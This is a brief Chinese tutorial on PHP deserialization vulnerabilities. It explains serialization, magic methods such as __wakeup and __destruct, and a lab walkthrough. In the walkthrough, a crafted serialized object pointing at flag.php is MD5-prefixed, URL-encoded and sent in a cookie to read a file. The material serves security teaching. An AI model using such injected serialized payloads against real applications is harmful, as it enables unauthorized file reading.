序列化及其出现场景
●远程和进程间通信(RPC/IPC)
●连线协议、Web服务、消息代理
●缓存/持久性存储区
●数据库、缓存服务器、文件系统
●HTTP cookie、HTML参数、API身份验证令牌
序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】
简单的理解:将PHP中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中
反序列化
序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用。(重新再转化为对象或者其他的)【将字符串转化为状态信息】
序列化就是将状态信息保存成字符串,反序列化就是将字符串转化为状态信息。可以通过反序列化恢复对象。当我们可以任意控制反序列化处理的字符串,即产生了反序列化漏洞。
魔术方法
__construct()
当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数)
-
__destruct()
当对象被销毁时会自动调用。(析构函数) -
__wakeup()
如前所提,unserialize()时会自动调用。
靶场实战
源码分析
本地测试序列化调出得值a:1:{i:0;O:6:”readme”:1:{s:6:”source”;s:8:”flag.php”;}}
加密MD5
再和原来的变量$m
拼接一下e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:”readme”:1:{s:6:”source”;s:8:”flag.php”;}}
URL编码
然后通过抓包吃到cookie
提交flag结束